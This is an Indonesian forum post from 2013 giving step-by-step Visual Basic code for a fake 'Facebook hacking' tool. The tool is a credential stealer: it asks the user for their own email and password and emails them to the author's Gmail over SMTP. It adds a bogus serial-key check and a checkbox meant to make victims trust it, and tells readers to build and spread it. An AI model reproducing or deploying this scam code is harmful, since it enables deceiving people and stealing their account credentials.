Page 1 of 1

Hack facebook dengan scam tool

PostPosted: Fri Aug 02, 2013 6:48 am
by TrojanzBoy
Image

Oke hari ini ane mau sharing tentang cara bobol facebook dengan menggunakan aplikasi buatan kalian sendiri

peralatan yang dibutuhkan
1. Visual basic
2. Kreatifitas

berikut screenshoot tool saya

Image

pertama -tama buka visual basic dan buat project baru

buat 3 label
1. email address
2.password
3.victims mail/victim id

kedua

buat 3 textbox
dan rubah text pada tiap-tiap textbox propertiesnya

ketiga

buat 2 command button
pada properties nya rubah text 1. Start 2. Exit

keempat
kasih checkbutton biar pengguna tool kalian percaya bahwa tool kalian ini Berfungsi


setelah itu klik 2x pada form

INGAT sebelum public class form1 masukkan type

Code: Select all
Imports System.Net.Mail
Imports Microsoft.Win32


dan masukkan kode

Code: Select all
MsgBox("Input Your serial number")
        Dim LK As String = "[color=#800000]0987654321[/color]"
        Dim L As RegistryKey = Registry.CurrentUser.CreateSubKey("software\vaqxine", RegistryKeyPermissionCheck.Default)
        If L.GetValue("licence") Is Nothing Then
            Dim input As String = InputBox("Enter Your Registration Key", "Please Register Your Program!")
            If input <> LK Then
                MsgBox("Please Enter A Valid Registration Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")
                End
            Else
                L.SetValue("licence", LK)
                MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration Key accepted")
            End If
        ElseIf L.GetValue("licence") <> LK Then
            Dim input As String = InputBox("Enter your registration key", "Your current registration key is not valid")
            If input <> LK Then
                MsgBox("Please Enter A Valid License Key!", MsgBoxStyle.Exclamation, "Invalid Registration Key")
                End
            Else
                L.SetValue("licence", LK)
                MsgBox("Click Ok to continue", MsgBoxStyle.Information, "Registration key accepted")
            End If
        End If
        L.Close()

Image

fungsi code ini buat manipulasi korban dengan memasukkan serial number pada bagian Dim LK As Stringagar tool kalian lebih resmi :P

setelah itu kembali lagi ke form dan klik 2x start dan masukkan codingnya

Code: Select all
Dim MyMailMessage As New MailMessage
        MyMailMessage.From = New MailAddress("[color=#FF0000]email gmail kalian[/color]")
        MyMailMessage.To.Add("[color=#FF0000]email gmail kalian[/color]")
        MyMailMessage.Body = ("Username: " + TextBox1.Text & vbCrLf & "Password: " + TextBox2.Text & vbCrLf & vbCrLf & "Attempting To Hack: " + TextBox3.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("[color=#FF0000]email gmail kalian[/color]", "[color=#FF0000]password gmail kalian[/color]")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        MsgBox("Wait for 2-3 hours to cracking the password Visit my blog www.trojanzboy.blogspot.com")


Image

setelah itu test program dengan mengklik tombol start debugging (F5)

jika sukses test masukkan email dan password pada text box
maka email&&password terkirim di email kalian cek email kalian

Image

dan saatnya mempublikasikan tool anda
klik build toolbar --> build solution &&& --> build windowsaplication

Image

dan hasil outputnya ada di my document > visual studio > project

dan tool pun siap untuk diedarkan


NB : jika gmailnya terdapat authentiktion mobile maka tool nya tidak dapat bekerja :mantap